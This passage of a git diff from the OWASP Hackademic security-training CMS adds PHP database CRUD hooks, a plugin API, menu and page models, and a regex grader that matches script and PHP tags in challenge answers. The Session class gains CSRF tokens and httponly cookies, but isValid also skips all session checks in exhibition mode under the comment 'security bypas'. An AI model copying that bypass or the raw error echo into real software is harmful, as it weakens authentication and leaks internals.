PDO("mysql:host=$host;dbname=$dbname;charset=utf8", $user, $pass); + $this->connection = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass); } catch(PDOException $e) { echo $e->getMessage(); + die(); } $this->connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $this->connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); - $php_ver = explode(".", phpversion()); - if ( ($php_ver[0] < 5) || ($php_ver[0]==5 && $php_ver[1]<=3) ) { - /* if php < 5.3.6, charset=utf8 in the connection string is ignored */ - $this->connection->exec("set names utf8"); - } } public function __construct() { $this->openConnection(); } - public function query($sql, $params = NULL) { + /** + * Runs the query given together with the params. Triggers 'create' actions before and + * after the query is executed on the database. + * + * @param $sql the sql query to use + * @param null $params the params that can be used as arguments in the sql query + * @param $type the type of action to trigger (ie article, user, challenge...) + * @return mixed a statement handle to the results + */ + public function create($sql, $params = NULL, $type) { + $this->triggerAction('before_create', $type, array($sql, $params)); + $statement_handle = $this->query($sql, $params); + $this->triggerAction('after_create', $type, array($this->insertId(), $params)); + return $statement_handle; + } + + /** + * Runs the query given together with the params. Triggers 'read' actions before and + * after the query is executed on the database. + * + * @param $sql the sql query to use + * @param null $params the params that can be used as arguments in the sql query + * @param $type the type of action to trigger (ie article, user, challenge...) + * @return mixed a statement handle to the results + */ + public function read($sql, $params = NULL, $type) { + $this->triggerAction('before_read', $type, array($sql, $params)); + $statement_handle = $this->query($sql, $params); + $this->triggerAction('after_read', $type, array($params)); + return $statement_handle; + } - if ("dev" ==ENVIRONMENT && TRUE === SHOW_SQL_QUERIES) - echo "

sql query == ".$sql."

"; - + /** + * Runs the query given together with the params. Triggers 'update' actions before and + * after the query is executed on the database. + * + * @param $sql the sql query to use + * @param null $params the params that can be used as arguments in the sql query + * @param $type the type of action to trigger (ie article, user, challenge...) + * @return mixed a statement handle to the results + */ + public function update($sql, $params = NULL, $type) { + $this->triggerAction('before_update', $type, array($sql, $params)); + $statement_handle = $this->query($sql, $params); + $this->triggerAction('after_update', $type, array($params)); + return $statement_handle; + } + + /** + * Runs the query given together with the params. Triggers 'delete' actions before and + * after the query is executed on the database. + * + * @param $sql the sql query to use + * @param null $params the params that can be used as arguments in the sql query + * @param $type the type of action to trigger (ie article, user, challenge...) + * @return mixed a statement handle to the results + */ + public function delete($sql, $params = NULL, $type) { + $this->triggerAction('before_delete', $type, array($sql, $params)); + $statement_handle = $this->query($sql, $params); + $this->triggerAction('after_delete', $type, array($params)); + return $statement_handle; + } + + /** + * Runs the query given together with the params. + * + * @param $sql the sql query to use + * @param null $params the params that can be used as arguments in the sql query + * @return mixed a statement handle to the results + */ + public function query($sql, $params = NULL) { + if ("dev" == ENVIRONMENT && TRUE === SHOW_SQL_QUERIES) { + echo "

sql query == " . $sql . "

"; + } $statement_handle = $this->connection->prepare($sql); $statement_handle->execute($params); return $statement_handle; } - public function fetchArray($statement_handle) { + /** + * Fetches an array from the statement handle passed in as a parameter. + * + * @param $statement_handle the handle from the query statement + * @return mixed array of rows + */ + public function fetchArray($statement_handle) { $statement_handle->setFetchMode(PDO::FETCH_ASSOC); $row = $statement_handle->fetch(); return $row; - } + } - public function numRows($statement_handle) { + /** + * Calculates the number of rows in the query result that is passed in as + * a statement handle. + * + * @param $statement_handle the handle from the query statement + * @return mixed number of rows + */ + public function numRows($statement_handle) { return $statement_handle->rowCount(); - } + } - public function insertId() { + /** + * Fetches the id of the lastly inserted item in the database. + * + * @return mixed the last insert id + */ + public function insertId() { return $this->connection->lastInsertId(); } - public function affectedRows($statement_handle) { + /** + * Fetches the number of affected rows after a database query has been + * executed and the result passed in as a statement handle. + * + * @param $statement_handle the handle from the query statement + * @return mixed + */ + public function affectedRows($statement_handle) { return $this->numRows($statement_handle); - } + } - public function closeConnection() { + /** + * Closes the database connection if not already closed. + */ + public function closeConnection() { if(isset($this->connection)) { - $this->connection = null; + $this->connection = NULL; } } + + /** + * Triggers an action based on the action and type that are passed in as + * parameters on the form $action . '_' . $type. The parameter array + * is used as arguments to the function that the plugin API will call. + * + * @param $action the action to trigger (ie before_create, after_update) + * @param $type the type that makes the action unique (ie article, user, challenge) + * @param $parameter_array an array of parameters that are passed to the plugin + */ + private function triggerAction($action, $type, $parameter_array) { + Plugin::do_action_ref_array($action . '_' . $type, $parameter_array); + } + } diff --git a/model/common/class.Loader.php b/model/common/class.Loader.php index 64b51e54..1e0493a5 100755 --- a/model/common/class.Loader.php +++ b/model/common/class.Loader.php @@ -4,8 +4,8 @@ * Hackademic-CMS/model/common/class.Loader.php * * Hackademic Loader Class - * Class for loading paths - * + * Class for loading paths and plugin API + * * Copyright (c) 2012 OWASP * * LICENSE: @@ -31,11 +31,13 @@ * */ require_once("class.Utils.php"); +require_once("class.Plugin.php"); class Loader { - public static function init() { - Utils::defineConstants(); - } + public static function init() { + Utils::defineConstants(); + Plugin::loadPlugins(); + } } diff --git a/model/common/class.Menu.php b/model/common/class.Menu.php new file mode 100755 index 00000000..11ead144 --- /dev/null +++ b/model/common/class.Menu.php @@ -0,0 +1,87 @@ +. + * + * + * @author Daniel Kvist + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2013 OWASP + * + */ + +require_once(HACKADEMIC_PATH . "model/common/class.HackademicDB.php"); + +class Menu { + + const ADMIN_MENU = 1; + const TEACHER_MENU = 2; + const STUDENT_MENU = 3; + + protected static $action_type = 'menu'; + public $items; + + /** + * Retrives the menu for the given menu id + * + * @param the id of the menu to load + * @return an array with the menu items + */ + public static function getMenu($mid) { + global $db; + + $params = array(':mid' => $mid); + $sql = "SELECT * FROM menu_items WHERE mid = :mid ORDER BY parent, sort, label"; + + $result_set = $db->read($sql, $params, self::$action_type); + + $menu = new self; + $menu->items = self::buildMenu($result_set); + $menu->mid = $mid; + + return $menu; + } + + /** + * Builds the menu from the result set + * + * @param the result from the database + * @return the structured array of menu items + */ + private static function buildMenu($result_set) { + global $db; + + $menu = array( + 'items' => array(), + 'parents' => array() + ); + + while ($items = $db->fetchArray($result_set)) { + $menu['items'][$items['id']] = $items; + $menu['parents'][$items['parent']][] = $items['id']; + } + + return $menu; + } + +} diff --git a/model/common/class.Page.php b/model/common/class.Page.php new file mode 100755 index 00000000..80831d23 --- /dev/null +++ b/model/common/class.Page.php @@ -0,0 +1,53 @@ +. + * + * + * @author Daniel Kvist + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2013 OWASP + * + */ + +require_once(HACKADEMIC_PATH . "model/common/class.HackademicDB.php"); + +class Page { + + protected static $action_type = 'page'; + + /** + * Retrives the file for the given url + * + * @param the $url to load the file for + * @return the path to the file + */ + public static function getFile($url) { + global $db; + $params = array(':url' => $url); + $sql = "SELECT file FROM pages WHERE url = :url"; + $result_set = $db->read($sql, $params, self::$action_type); + return $db->fetchArray($result_set); + } + +} diff --git a/model/common/class.Plugin.php b/model/common/class.Plugin.php new file mode 100755 index 00000000..9d35f4ea --- /dev/null +++ b/model/common/class.Plugin.php @@ -0,0 +1,490 @@ +. + * + * + * @author Wordpress + * @author Daniel Kvist + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2013 OWASP + * + */ + +class Plugin { + + /** + * Loads the active plugins using include_once so we don't crash the site if + * a plugin can't be found. Also loads the required files for the rest of the class. + */ + public static function loadPlugins() { + require_once(HACKADEMIC_PATH . "admin/model/class.Options.php"); + require_once(HACKADEMIC_PATH . "admin/model/class.MenuBackend.php"); + require_once(HACKADEMIC_PATH . "admin/model/class.PageBackend.php"); + $active_plugins = Options::getOption('active_plugins')->value; + foreach($active_plugins as $plugin) { + include_once(HACKADEMIC_PLUGIN_PATH . $plugin); + } + } + + /** + * Hooks a function or method to a specific filter action. + * + * Filters are the hooks that Hackademic launches to modify text of various types + * before adding it to the database or sending it to the browser screen. Plugins + * can specify that one or more of its PHP functions is executed to + * modify specific types of text at these times. + * + * To use the API, the following code should be used to bind a callback to the + * filter. + * + * + * function example_hook($example) { echo $example; } + * add_filter('example_filter', 'example_hook'); + * + * + * The $accepted_args allow for calling functions only when the number of args + * match. Hooked functions can take extra arguments that are set when the + * matching do_action_ref_array() or apply_filters_ref_array() call is run. + * + * Note: the function will return TRUE no matter if the + * function was hooked fails or not. There are no checks for whether the + * function exists beforehand and no checks to whether the $function_to_add + * is even a string. It is up to you to take care and this is done for + * optimization purposes, so everything is as quick as possible. + * + * @global array $hc_filter Stores all of the filters added in the form of + * hc_filter['tag']['array of priorities']['array of functions serialized']['array of ['array (functions, accepted_args)']'] + * @global array $merged_filters Tracks the tags that need to be merged for later. If the hook is added, it doesn't need to run through that process. + * + * @param string $tag The name of the filter to hook the $function_to_add to. + * @param callback $function_to_add The name of the function to be called when the filter is applied. + * @param int $priority optional. Used to specify the order in which the functions associated with a particular action are executed (default: 10). Lower numbers correspond with earlier execution, and functions with the same priority are executed in the order in which they were added to the action. + * @param int $accepted_args optional. The number of arguments the function accept (default 1). + * @return boolean TRUE + */ + public static function add_filter($tag, $function_to_add, $priority = 10, $accepted_args = 1) { + global $hc_filter, $merged_filters; + + $idx = self::_hc_filter_build_unique_id($tag, $function_to_add, $priority); + $hc_filter[$tag][$priority][$idx] = array('function' => $function_to_add, 'accepted_args' => $accepted_args); + unset($merged_filters[$tag]); + return TRUE; + } + + /** + * Execute functions hooked on a specific filter hook, specifying arguments in an array. + * + * + * The callback functions attached to filter hook $tag are invoked by calling + * this function. This function can be used to create a new filter hook by + * simply calling this function with the name of the new hook specified using + * the $tag parameter. + * + * @global array $hc_filter Stores all of the filters + * @global array $merged_filters Merges the filter hooks using this function. + * @global array $hc_current_filter stores the list of current filters with the current one last + * + * @param string $tag The name of the filter hook. + * @param array $args The arguments supplied to the functions hooked to $tag + * @return mixed The filtered value after all hooked functions are applied to it. + */ + public static function apply_filters_ref_array($tag, $args) { + global $hc_filter, $merged_filters, $hc_current_filter; + + if(!isset($hc_filter[$tag])) { + return $args[0]; + } + + $hc_current_filter[] = $tag; + + // Sort + if(!isset($merged_filters[$tag])) { + ksort($hc_filter[$tag]); + $merged_filters[$tag] = TRUE; + } + + reset($hc_filter[$tag]); + + do { + foreach((array) current($hc_filter[$tag]) as $the_) { + if(!is_null($the_['function'])) { + $args[0] = call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args'])); + } + } + } while (next($hc_filter[$tag]) !== FALSE); + + array_pop($hc_current_filter); + + return $args[0]; + } + + /** + * Removes a function from a specified filter hook. + * + * This function removes a function attached to a specified filter hook. This + * method can be used to remove default functions attached to a specific filter + * hook and possibly replace them with a substitute. + * + * To remove a hook, the $function_to_remove and $priority arguments must match + * when the hook was added. This goes for both filters and actions. No warning + * will be given on removal failure. + * + * @param string $tag The filter hook to which the function to be removed is hooked. + * @param callback $function_to_remove The name of the function which should be removed. + * @param int $priority optional. The priority of the function (default: 10). + * @return boolean Whether the function existed before it was removed. + */ + public static function remove_filter($tag, $function_to_remove, $priority = 10) { + $function_to_remove = self::_hc_filter_build_unique_id($tag, $function_to_remove, $priority); + + $r = isset($GLOBALS['hc_filter'][$tag][$priority][$function_to_remove]); + + if(TRUE === $r) { + unset($GLOBALS['hc_filter'][$tag][$priority][$function_to_remove]); + if(empty($GLOBALS['hc_filter'][$tag][$priority])) { + unset($GLOBALS['hc_filter'][$tag][$priority]); + } + unset($GLOBALS['merged_filters'][$tag]); + } + + return $r; + } + + /** + * Remove all of the hooks from a filter. + * + * @param string $tag The filter to remove hooks from. + * @param bool|int $priority The priority number to remove. + * @return boolean TRUE when finished. + */ + public static function remove_all_filters($tag, $priority = FALSE) { + global $hc_filter, $merged_filters; + + if(isset($hc_filter[$tag])) { + if(FALSE !== $priority && isset($hc_filter[$tag][$priority])) { + unset($hc_filter[$tag][$priority]); + } + else { + unset($hc_filter[$tag]); + } + } + + if(isset($merged_filters[$tag])) { + unset($merged_filters[$tag]); + } + + return TRUE; + } + + /** + * Hooks a function on to a specific action. + * + * Actions are the hooks that the WordPress core launches at specific points + * during execution, or when specific events occur. Plugins can specify that + * one or more of its PHP functions are executed at these points, using the + * Action API. + * + * @uses add_filter() Adds an action. Parameter list and functionality are the same. + * + * @param string $tag The name of the action to which the $function_to_add is hooked. + * @param callback $function_to_add The name of the function you wish to be called. + * @param int $priority optional. Used to specify the order in which the functions associated with a particular action are executed (default: 10). Lower numbers correspond with earlier execution, and functions with the same priority are executed in the order in which they were added to the action. + * @param int $accepted_args optional. The number of arguments the function accept (default 1). + * @return boolean TRUE + */ + public static function add_action($tag, $function_to_add, $priority = 10, $accepted_args = 1) { + return self::add_filter($tag, $function_to_add, $priority, $accepted_args); + } + + /** + * Execute functions hooked on a specific action hook, specifying arguments in an array. + * + * @see do_action() This function is identical, but the arguments passed to the + * functions hooked to $tag are supplied using an array. + * + * @global array $hc_filter Stores all of the filters + * @global array $hc_actions Increments the amount of times action was triggered. + * + * @param string $tag The name of the action to be executed. + * @param array $args The arguments supplied to the functions hooked to $tag + * @return NULL Will return NULL if $tag does not exist in $hc_filter array + */ + public static function do_action_ref_array($tag, $args) { + global $hc_filter, $hc_actions, $merged_filters, $hc_current_filter; + + if(!isset($hc_actions)) { + $hc_actions = array(); + } + + if(!isset($hc_actions[$tag])) { + $hc_actions[$tag] = 1; + } else { + ++$hc_actions[$tag]; + } + + if(!isset($hc_filter[$tag])) { + return; + } + + $hc_current_filter[] = $tag; + + // Sort + if(!isset($merged_filters[$tag])) { + ksort($hc_filter[$tag]); + $merged_filters[$tag] = TRUE; + } + + reset($hc_filter[$tag]); + + do { + foreach((array) current($hc_filter[$tag]) as $the_) { + if(!is_null($the_['function'])) { + call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args'])); + } + } + } while(next($hc_filter[$tag]) !== FALSE); + + array_pop($hc_current_filter); + } + + /** + * Removes a function from a specified action hook. + * + * This function removes a function attached to a specified action hook. This + * method can be used to remove default functions attached to a specific filter + * hook and possibly replace them with a substitute. + * + * @param string $tag The action hook to which the function to be removed is hooked. + * @param callback $function_to_remove The name of the function which should be removed. + * @param int $priority optional The priority of the function (default: 10). + * @return boolean Whether the function is removed. + */ + public static function remove_action($tag, $function_to_remove, $priority = 10) { + return self::remove_filter($tag, $function_to_remove, $priority); + } + + /** + * Remove all of the hooks from an action. + * + * @param string $tag The action to remove hooks from. + * @param bool|int $priority The priority number to remove them from. + * @return boolean TRUE when finished. + */ + public static function remove_all_actions($tag, $priority = FALSE) { + return self::remove_all_filters($tag, $priority); + } + + /** + * Adds a menu with the given name. + * + * @param the name of the menu such as 'My menu' + * @return true if added + */ + public static function add_menu($name) { + return MenuBackend::addMenu($name); + } + + /** + * Retrives the menu for the given menu id + * + * @param the id of the menu to load + * @return an array with the menu items + */ + public static function get_menu($mid) { + return MenuBackend::getMenu($mid); + } + + /** + * Updates the menu with the given menu id to the given name. + * + * @param menu id of the menu to update + * @param the new name of the menu such as 'My new menu' + * @return true if updated + */ + public static function update_menu($mid, $name) { + return MenuBackend::updateMenu($mid, $name); + } + + /** + * Deletes the menu with the given menu id. + * + * @param menu id of the menu to delete + * @return true if deleted + */ + public static function delete_menu($mid) { + return MenuBackend::deleteMenu($mid); + } + + /** + * Adds a page mapping from the given url to the file. + * + * @param the url to map + * @param the path to the file that generates the page view. The path should be relative + * to the HACKADEMIC_PATH variable which is the web root as default. + * @return true if added + */ + public static function add_page($url, $file) { + return PageBackend::addPage($url, $file); + } + + /** + * Retrives the file for the given url + * + * @param the $url to load the file for + * @return the path to the file + */ + public static function get_file_for_page($url) { + return PageBackend::getFile($url); + } + + /** + * Updates a page mapping from the given url to the new file. + * + * @param the url to update the mapping for + * @param the new path to the file that generates the page view. The path should be relative + * to the HACKADEMIC_PATH variable which is the web root as default. + * @return true if updated + */ + public static function update_page($url, $file){ + return PageBackend::updatePage($url, $file); + } + + /** + * Deletes a page mapping for the given url. + * + * @param the url to delete the page mapping for. + * @return true if deleted + */ + public static function delete_page($url){ + return PageBackend::deletePage($url); + } + + /** + * Adds a menu item to the menu with the given menu id. The menu item + * needs a url to point to, a label to display and a integer to sort on. + * + * @param the url for the menu item + * @param the menu id that the menu item belongs to + * @param the label for the menu item that is visible to the user + * @param the parent menu item id if there is one, otherwise 0 if root item + * @param the sort integer for the menu item, sort is made ascending + * @return true if added + */ + public static function add_menu_item($url, $mid, $label, $parent, $sort) { + return MenuBackend::addMenuItem($url, $mid, $label, $parent, $sort); + } + + /** + * Updates a menu item to the menu with the given menu id. The menu item + * needs a url to point to, a label to display and a integer to sort on. + * + * @param the url for the menu item + * @param the menu id that the menu item belongs to + * @param the new label for the menu item that is visible to the user + * @param the parent menu item id if there is one, otherwise 0 if root item + * @param the new sort integer for the menu item, sort is made ascending + * @return true if updated + */ + public static function update_menu_item($url, $mid, $label, $parent, $sort) { + return MenuBackend::updateMenuItem($url, $mid, $label, $parent, $sort); + } + + /** + * Deletes a menu item to the menu with the given menu id. + * + * @param the url for the menu item + * @param the menu id that the menu item belongs to + * @return true if deleted + */ + public static function delete_menu_item($url, $mid) { + return MenuBackend::deleteMenuItem($url, $mid); + } + + /** + * Build Unique ID for storage and retrieval. + * + * The old way to serialize the callback caused issues and this function is the + * solution. It works by checking for objects and creating an a new property in + * the class to keep track of the object and new objects of the same class that + * need to be added. + * + * It also allows for the removal of actions and filters for objects after they + * change class properties. It is possible to include the property $hc_filter_id + * in your class and set it to "NULL" or a number to bypass the workaround. + * However this will prevent you from adding new classes and any new classes + * will overwrite the previous hook by the same class. + * + * Functions and static method callbacks are just returned as strings and + * shouldn't have any speed penalty. + * + * @global array $hc_filter Storage for all of the filters and actions + * @param string $tag Used in counting how many hooks were applied + * @param callback $function Used for creating unique id + * @param int|bool $priority Used in counting how many hooks were applied. If === FALSE and $function is an object reference, we return the unique id only if it already has one, FALSE otherwise. + * @return string|bool Unique ID for usage as array key or FALSE if $priority === FALSE and $function is an object reference, and it does not already have a unique id. + */ + private static function _hc_filter_build_unique_id($tag, $function, $priority) { + global $hc_filter; + static $filter_id_count = 0; + + if(is_string($function)) { + return $function; + } + + if(is_object($function)) { + // Closures are currently implemented as objects + $function = array($function, ''); + } else { + $function = (array) $function; + } + + if(is_object($function[0])) { + // Object Class Calling + if(function_exists('spl_object_hash')) { + return spl_object_hash($function[0]) . $function[1]; + } else { + $obj_idx = get_class($function[0]).$function[1]; + if(!isset($function[0]->hc_filter_id)) { + if(FALSE === $priority) { + return FALSE; + } + $obj_idx .= isset($hc_filter[$tag][$priority]) ? count((array)$hc_filter[$tag][$priority]) : $filter_id_count; + $function[0]->hc_filter_id = $filter_id_count; + ++$filter_id_count; + } else { + $obj_idx .= $function[0]->hc_filter_id; + } + + return $obj_idx; + } + } else if(is_string($function[0])) { + // Static Calling + return $function[0].$function[1]; + } + } + +} diff --git a/model/common/class.RegexSolution.php b/model/common/class.RegexSolution.php new file mode 100755 index 00000000..8622ff63 --- /dev/null +++ b/model/common/class.RegexSolution.php @@ -0,0 +1,64 @@ +. + * + * + * @author Paul Chaignon + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2012 OWASP + * + */ + +class RegexSolution { + const PHP_BEGIN = '<\?((php|=) )? ?'; + const PHP_END = ' ?;? ?\?>'; + const JS_BEGIN = '< ?script( type="text\/javascript")? ?> ?'; + const JS_END = ' ?;? ?< ?\/ ?script ?>'; + private $regex; + + /** + * Constructor + * Replaces all double quotes with single quotes. + * @param $regex The regular expression to validate the challenge's answer. + */ + public function RegexSolution($regex) { + $this->regex = '/'.$regex.'/'; + $this->regex = str_replace('"', '\'', $this->regex); + } + + /** + * Matches the submitted solution against the regular expression. + * @param $answer The submitted solution. + * @return True if the answer matches the solution's regex. + */ + public function match($answer) { + $answer = preg_replace('/\s+/', ' ', $answer); + $answer = str_replace('"', '\'', $answer); + if (preg_match($this->regex, $answer)) { + return true; + } else { + return false; + } + } +} diff --git a/model/common/class.ScoringRule.php b/model/common/class.ScoringRule.php old mode 100644 new mode 100755 diff --git a/model/common/class.Session.php b/model/common/class.Session.php index 60eaf358..c566b2ff 100755 --- a/model/common/class.Session.php +++ b/model/common/class.Session.php @@ -32,6 +32,7 @@ */ require_once(HACKADEMIC_PATH."/model/common/class.User.php"); require_once(HACKADEMIC_PATH."/esapi/class.Esapi_Utils.php"); +require_once(HACKADEMIC_PATH."extlib/NoCSRF/nocsrf.php"); class Session { /* @@ -40,7 +41,7 @@ class Session { * To be used only with the excibition mode * */ public static function loginGuest(){ - if(!defined('EXCIBITION_MODE') || EXCIBITION_MODE != true) + if(!defined('EXHIBITION_MODE') || EXHIBITION_MODE != true) die("loginGuest called even though we're not in excibition mode, this is most likely a bug please report it"); self::init(7200); //setup session vars @@ -74,6 +75,7 @@ public static function completeLogin($owner) { User::updateLastVisit($owner->username); self::init(SESS_EXP_INACTIVE); //setup session vars + $_SESSION['token'] = NoCSRF::generate( 'csrf_token' ); $_SESSION['hackademic_user'] = $owner->username; $_SESSION['hackademic_user_id'] = $owner->id; $_SESSION['hackademic_user_type'] = $owner->type; @@ -160,6 +162,7 @@ public static function init( $limit = 0, $ESAPI_utils = new Esapi_Utils(); } session_id($ESAPI_utils->getHttpUtilities()->getCSRFToken()); + ini_set( 'session.cookie_httponly', 1 ); session_start(); //error_log(session_id(),0); $_SESSION['TOKEN'] = $ESAPI_utils->getHttpUtilities()->getCSRFToken(); @@ -187,6 +190,7 @@ public static function start($limit = SESS_EXP_INACTIVE, error_log("HACKADEMIC:: Regenerating session id possible bug detected", 0); self::regenerateSession(); }else{ + ini_set( 'session.cookie_httponly', 1 ); session_start(); /*If this is a guest session (init hasn't been called first)*/ @@ -195,7 +199,7 @@ public static function start($limit = SESS_EXP_INACTIVE, } // Reset the expiration time upon page load if (isset($_COOKIE[SESS_NAME])){ - setcookie(SESS_NAME, session_id(), time() + $limit, $path); + setcookie(SESS_NAME, session_id(), time() + $limit, $path, null, null, true); } } //currently we are only checking the session for logged in users @@ -220,7 +224,10 @@ public static function start($limit = SESS_EXP_INACTIVE, */ public static function isValid($token = null){ - //return true; + //security bypas + // in case of exhibition mode there are no individual users + if(defined('EXHIBITION_MODE') && EXHIBITION_MODE === true) + return true; if( isset($_SESSION['OBSOLETE']) && (!isset($_SESSION['EXPIRES']) || !isset($_SESSION['LAST_ACCESS'])) ){ error_log("HACKADEMIC:: Session validation: OBSOLETE session detected", 0); @@ -293,8 +300,11 @@ static function regenerateSession(){ // Set session ID to the new one, and start it back up again session_id($newSession); + ini_set( 'session.cookie_httponly', 1 ); session_start(); + $_SESSION['token'] = NoCSRF::generate( 'csrf_token' ); + // Now we unset the obsolete and expiration values for the session we want to keep unset($_SESSION['OBSOLETE']); unset($_SESSION['EXPIRES']); diff --git a/model/common/class.SmartyHackademic.php b/model/common/class.SmartyHackademic.php index 20d6c549..01b34dcd 100755 --- a/model/common/class.SmartyHackademic.php +++ b/model/common/class.SmartyHackademic.php @@ -5,7 +5,7 @@ * * Hackademic Smarty Class * Configures and initalizes Smarty per Hackademic's configuration. - * + * * Copyright (c) 2012 OWASP * * LICENSE: @@ -30,9 +30,10 @@ * @copyright 2012 OWASP * */ -require_once(HACKADEMIC_PATH."config.inc.php"); -require_once(HACKADEMIC_PATH."extlib/Smarty-3.1.8/libs/Smarty.class.php"); -require_once(HACKADEMIC_PATH."model/common/class.Utils.php"); +require_once(HACKADEMIC_PATH . "config.inc.php"); +require_once(HACKADEMIC_PATH . "extlib/Smarty-3.1.21/libs/Smarty.class.php"); +require_once(HACKADEMIC_PATH . "model/common/class.Utils.php"); +require_once(HACKADEMIC_PATH . "admin/model/class.Options.php"); class SmartyHackademic extends Smarty { @@ -46,6 +47,21 @@ class SmartyHackademic extends Smarty { */ private $template_data = array(); + /** + * @var string the path to the user theme + */ + public $user_theme_path = ''; + + /** + * @var string the path to the admin theme + */ + public $admin_theme_path = ''; + + /** + * @var string of the smarty version + */ + private $smarty_version = '3.1.21'; + /** * Constructor to initialize SmartyHackademic * @@ -55,29 +71,40 @@ class SmartyHackademic extends Smarty { public function __construct() { $src_root_path = SOURCE_ROOT_PATH; $site_root_path = SITE_ROOT_PATH; + $app_title = APP_TITLE; - $debug=DEBUG; - $cache_pages=CACHE_PAGES; + $debug = DEBUG; + $cache_pages = CACHE_PAGES; Smarty::__construct(); - $this->template_dir = array( HACKADEMIC_PATH.'view', HACKADEMIC_PATH.'admin/view/'); - $this->compile_dir = HACKADEMIC_PATH.'/view/compiled_view'; + $this->user_theme_path = Options::getOption('active_user_theme')->value . 'view/'; + $this->admin_theme_path = Options::getOption('active_admin_theme')->value . 'admin/view/'; + //$this->template_dir = array( HACKADEMIC_PATH . $this->user_theme_path, HACKADEMIC_PATH . $this->admin_theme_path); + $this->setTemplateDir(array( + HACKADEMIC_PATH . $this->user_theme_path, + HACKADEMIC_PATH . $this->admin_theme_path) + ); + + $this->smarty->setPluginsDir(array(HACKADEMIC_PATH."extlib/Smarty-".$this->smarty_version."/libs/plugins/", + HACKADEMIC_PATH."vendor/smarty-gettext/smarty-gettext/")); + $this->compile_dir = HACKADEMIC_PATH.'/view/compiled_view'; $this->cache_dir =HACKADEMIC_PATH.'cache'; $this->caching = ($cache_pages)?1:0; $this->cache_lifetime = 300; $this->debug = $debug; $this->assign('app_title', $app_title); $this->assign('site_root_path', $site_root_path); - } + } /** * Assigns data to a template variable. * If debug is true, stores it for access by tests or developer. * @param string $key * @param mixed $value + * @param boolean $nocache */ - public function assign($key, $value = null) { - parent::assign($key, $value); + public function assign($key, $value = null, $nocache = false) { + parent::assign($key, $value, $nocache); if ($this->debug) { $this->template_data[$key] = $value; } @@ -86,7 +113,7 @@ public function assign($key, $value = null) { /** * For use only by tests: return a template data value by key. * @param string $key - */ + */ public function getTemplateDataItem($key) { return isset($this->template_data[$key]) ? $this->template_data[$key]:null; } @@ -117,4 +144,5 @@ public function clear_all_cache($exp_time = null) { parent::clear_all_cache($exp_time); } } + } diff --git a/model/common/class.User.php b/model/common/class.User.php index ce160320..a4ecb6e3 100755 --- a/model/common/class.User.php +++ b/model/common/class.User.php @@ -48,50 +48,50 @@ class User { public $is_activated; public $token; + private static $action_type = 'user'; + public static function findByUserName($username) { - global $db; $sql = "SELECT * FROM users WHERE username=:username LIMIT 1"; $params = array( - ':username' => $username - ); - $result_array=self::findBySQL($sql, $params); - return !empty($result_array)?array_shift($result_array):false; + ':username' => $username + ); + $result_array = self::findBySQL($sql, $params); + return !empty($result_array) ? array_shift($result_array) : false; } public static function getUser($id) { - global $db; $sql = "SELECT * FROM users WHERE id = :id LIMIT 1"; $params = array( - ':id' => $id - ); - $result_array=self::findBySQL($sql, $params); - return !empty($result_array)?array_shift($result_array):false; + ':id' => $id + ); + $result_array = self::findBySQL($sql, $params); + return !empty($result_array) ? array_shift($result_array) : false; } private static function findBySQL($sql, $params = NULL) { global $db; - $result_set=$db->query($sql, $params); - $object_array=array(); - while($row=$db->fetchArray($result_set)) { - $object_array[]=self::instantiate($row); + $result_set = $db->read($sql, $params, self::$action_type); + $object_array = array(); + while($row = $db->fetchArray($result_set)) { + $object_array[] = self::instantiate($row); } return $object_array; } - public static function addUser($username=null, $full_name=null, $email=null, $password=null, - $joined=null, $is_activated=null, $type=null, $token=0) { + public static function addUser($username = NULL, $full_name = NULL, $email = NULL, $password = NULL, + $joined = NULL, $is_activated = NULL, $type = NULL, $token = 0) { global $db; $password = Utils::hash($password); $params = array( - ':username' => $username, - ':full_name' => $full_name, - ':email' => $email, - ':password' => $password, - ':joined' => $joined, - ':token' => $token - ); - if($is_activated!=null && $type!=null){ + ':username' => $username, + ':full_name' => $full_name, + ':email' => $email, + ':password' => $password, + ':joined' => $joined, + ':token' => $token + ); + if($is_activated != NULL && $type != NULL){ $params[':is_activated'] = $is_activated; $params[':type'] = $type; $sql = "INSERT INTO users (username, full_name, email, password, joined, is_activated, type, token)"; @@ -100,7 +100,7 @@ public static function addUser($username=null, $full_name=null, $email=null, $pa $sql = "INSERT INTO users (username, full_name, email, password, joined, token)"; $sql .= "VALUES (:username, :full_name, :email, :password, :joined, :token)"; } - $query = $db->query($sql, $params); + $query = $db->create($sql, $params, self::$action_type); if ($db->affectedRows($query)) { return true; } else { @@ -112,10 +112,10 @@ public static function addToken($username, $token){ global $db; $sql = "UPDATE users SET token=:token WHERE username = :username"; $params = array( - ':token' => $token, - ':username' => $username - ); - $query = $db->query($sql, $params); + ':token' => $token, + ':username' => $username + ); + $query = $db->update($sql, $params); if ($db->affectedRows($query)) { return true; } else { @@ -126,12 +126,12 @@ public static function addToken($username, $token){ public static function updatePassword($password, $username){ global $db; $password = Utils::hash($password); - $sql="UPDATE users SET password=:password, token = 0 WHERE username = :username"; + $sql = "UPDATE users SET password=:password, token = 0 WHERE username = :username"; $params = array( - ':password' => $password, - ':username' => $username - ); - $query = $db->query($sql, $params); + ':password' => $password, + ':username' => $username + ); + $query = $db->update($sql, $params, self::$action_type); if ($db->affectedRows($query)) { return true; } else { @@ -145,11 +145,11 @@ public static function updateLastVisit($username){ $last_visit = date("Y-m-d H-i-s"); $sql = "UPDATE users SET last_visit = :last_visit WHERE username = :username"; $params = array( - ':last_visit' => $last_visit, - ':username' => $username - ); - $query = $db->query($sql, $params); - if ($db->affectedRows($query)) { + ':last_visit' => $last_visit, + ':username' => $username + ); + $query = $db->update($sql, $params, self::$action_type); + if($db->affectedRows($query)) { return true; } else { return false; @@ -157,9 +157,9 @@ public static function updateLastVisit($username){ } - public static function getNumberOfUsers($search=null,$category=null) { + public static function getNumberOfUsers($search = NULL, $category = NULL) { global $db; - if ($search != null && $category != null) { + if ($search != NULL && $category != NULL) { $params[':search_string'] = '%'.$search.'%'; switch ($category) { case "username": @@ -173,24 +173,23 @@ public static function getNumberOfUsers($search=null,$category=null) { break; } - $query = 